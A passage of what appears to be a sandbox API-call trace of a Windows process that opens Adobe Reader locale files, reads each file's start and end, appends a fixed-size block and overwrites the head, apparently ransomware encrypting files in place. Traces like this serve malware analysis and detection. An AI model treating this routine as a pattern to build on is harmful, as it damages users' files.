ReleaseMutex (hMutex=0x128) returned 1 [0043.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.TUR", lpUsedDefaultChar=0x0) returned 13 [0043.491] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.494] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2400 [0043.494] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.496] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2400 [0043.496] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.496] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.496] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.496] CloseHandle (hObject=0x198) returned 1 [0043.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PPKLITE.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ppklite.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7a400 [0043.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.497] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.497] ReleaseMutex (hMutex=0x128) returned 1 [0043.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.TUR", lpUsedDefaultChar=0x0) returned 11 [0043.497] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.500] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x79400 [0043.500] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x79400 [0043.503] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.503] WriteFile (in: hFile=0x198, lpBuffer=0x27eecc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.503] CloseHandle (hObject=0x198) returned 1 [0043.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Updater.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\updater.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2a00 [0043.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.504] ReleaseMutex (hMutex=0x128) returned 1 [0043.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.TUR", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.TUR", lpUsedDefaultChar=0x0) returned 11 [0043.504] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0043.509] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1a00 [0043.510] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.511] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.511] CloseHandle (hObject=0x198) returned 1 [0043.511] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0043.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.512] ReleaseMutex (hMutex=0x128) returned 1 [0043.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.UKR", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.UKR", lpUsedDefaultChar=0x0) returned 9 [0043.512] ReadFile (in: hFile=0x198, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0043.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0043.515] WriteFile (in: hFile=0x198, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0043.515] CloseHandle (hObject=0x198) returned 1 [0043.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SaveAsRTF.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\saveasrtf.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4a00 [0043.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.516] ReleaseMutex (hMutex=0x128) returned 1 [0043.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.UKR", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.UKR", lpUsedDefaultChar=0x0) returned 13 [0043.516] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0043.519] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0043.521] WriteFile (in: hFile=0x198, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0043.521] WriteFile (in: hFile=0x198, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.521] CloseHandle (hObject=0x198) returned 1 [0043.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\AdobeCollabSync.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\adobecollabsync.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1800 [0043.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.522] ReleaseMutex (hMutex=0x128) returned 1 [0043.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0043.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHS", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHS", lpUsedDefaultChar=0x0) returned 19 [0043.522] ReadFile (in: hFile=0x198, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x1800, lpOverlapped=0x0) returned 1 [0043.526] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0043.527] WriteFile (in: hFile=0x198, lpBuffer=0x271e078*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x271e078*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0043.527] CloseHandle (hObject=0x198) returned 1 [0043.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0043.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xd800 [0043.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0043.528] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.528] ReleaseMutex (hMutex=0x128) returned 1 [0043.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0043.528] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x1e6302c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHS", lpUsedDefaultChar=0x0) returned 14 [0043.528] ReadFile (in: hFile=0x198, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.186] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xc800 [0044.186] ReadFile (in: hFile=0x198, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xc800 [0044.187] WriteFile (in: hFile=0x198, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.187] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.188] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.188] CloseHandle (hObject=0x198) returned 1 [0044.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.188] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.188] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe4 [0044.188] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.188] ReleaseMutex (hMutex=0x128) returned 1 [0044.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0044.189] ReadFile (in: hFile=0x198, lpBuffer=0x1dd2808, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd2808*, lpNumberOfBytesRead=0x2e0f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0044.189] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.189] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2e0f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0044.190] CloseHandle (hObject=0x198) returned 1 [0044.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DigSig.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\digsig.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x11e00 [0044.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.190] ReleaseMutex (hMutex=0x128) returned 1 [0044.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHT", lpUsedDefaultChar=0x0) returned 10 [0044.191] ReadFile (in: hFile=0x198, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.192] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10e00 [0044.192] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10e00 [0044.193] WriteFile (in: hFile=0x198, lpBuffer=0x25c53d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c53d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, 